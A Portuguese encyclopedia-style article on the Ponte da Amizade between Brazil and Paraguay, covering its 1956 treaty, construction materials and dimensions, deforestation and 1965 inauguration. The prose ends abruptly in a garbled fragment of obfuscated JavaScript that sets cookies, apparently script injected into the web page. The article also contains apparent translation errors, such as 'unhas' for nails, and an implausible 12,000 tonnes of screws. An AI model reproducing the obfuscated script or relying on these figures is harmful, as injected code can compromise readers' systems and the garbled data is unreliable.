Ponte da Amizade
Ponte da Amizade
A Ponte da Amizade é a ligação terrestre entre Brasil e Paraguai, mais especificamente entre as cidades de Foz do Iguaçu e Ciudad del Este. A ponte é construída no fim da rodovia BR-277, antiga BR-35, que se conecta com a Rota Nacional 7, a parte paraguaia que continua a partir da ponte.
A história da ponte começa no dia 29 de maio de 1956, quando os governos dos países vizinhos acordaram um tratado de construção. A partir desse momento uma comissão encarregada da construção foi criada e designada para o trabalho.
A posição geográfica onde a ponte seria construída foi escolhida após uma série de estudos que consideravam o solo da encosta do rio e as dimensões entre as duas margens do rio Paraná, fronteira natural que divide os países.
Um ano depois, em 1957, um evento trágico atrasou a construção da ponte. Durante avaliações sobre as características do rio, um barco naufragou, levando a óbito o engenheiro Tasso Rodrigues Costa e vários membros de sua equipe.
Voltando aos aspectos mais técnicos da construção, os materiais metálicos utilizados para tirar a Ponte da Amizade do papel vieram das cidades brasileiras de São Paulo, Volta Redonda e Rio de Janeiro.
A cidade de Volta Redonda é marcada historicamente pela presença da Companhia Siderúrgica Nacional. A CSN foi responsável pela produção do arco de apoio da ponte. Para tal foi usada uma fôrma de aço de 157,30 metros de comprimento com uma massa de 1.200 toneladas.
Uma vez terminada, a Ponte da Amizade terminou com as seguintes medidas:
– Comprimento total: 552,4 m
– Arco: 303 m
– Altura: 78 m
– Medição do eixo ao eixo dos pilares das margens: 2 x 108,7 m
– Número de trabalhadores: 1000 trabalhadores
Eles usaram para construção:
– Concreto armado: 43.000 m³ de concreto.
– Cimento: 14.000 toneladas.
– Aço: 2.900 toneladas.
– Madeira: 120.000 m² para formas, suportes e andaimes.
– Pregos: 50 toneladas de unhas trazidas de 20 fábricas localizadas nos estados do Paraná, Santa Catarina e São Paulo.
– Parafusos: 12.000 toneladas de empresas metalúrgicas de São Paulo, Minas Gerais e Rio de Janeiro.
– Fios de construção: 33 toneladas da Siderúrgica Guaíra de Curitiba.
– Aço laminado, cabos, tachas e parafusos de alta resistência para o reforço da treliça.
Impacto ambiental
Para que a construção da ponte fosse efetuada foi necessário o desmatamento de 14 hectares de mata virgem e a criação de aterros de cerca de 140 mil metros quadrados. Um poço de cerca de 120 metros foi perfurado para que os funcionários da obra pudessem ter acesso a água potável durante sua realização. A construção do poço exigiu a instalação de uma pedreira para concretagem do poço.
Todo o material foi retirado das margens do rio Paraná, bem como a areia usada na construção, que foi removida de seu leito. O cimento foi trazido de Curitiba e São Paulo e as árvores nunca foram reflorestadas.
Inauguração
A ponte só foi ser inaugurada nove anos depois da elaboração de seu projeto. Apesar de ter sua construção aprovada durante o governo Juscelino Kubitschek e ter perpassado os mandatos de Jânio Quadros e João Goulart, as glórias de sua inauguração recaíram sobre Humberto de Alencar Castelo Branco, empossado logo após o Golpe Civil Militar de 1964.
Após a inauguração da ponte, o comércio e turismo entre os dois países se aqueceu significativamente, provocando o crescimento, especialmente, das cidades de Foz do Iguaçu e Ciudad del Este.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]
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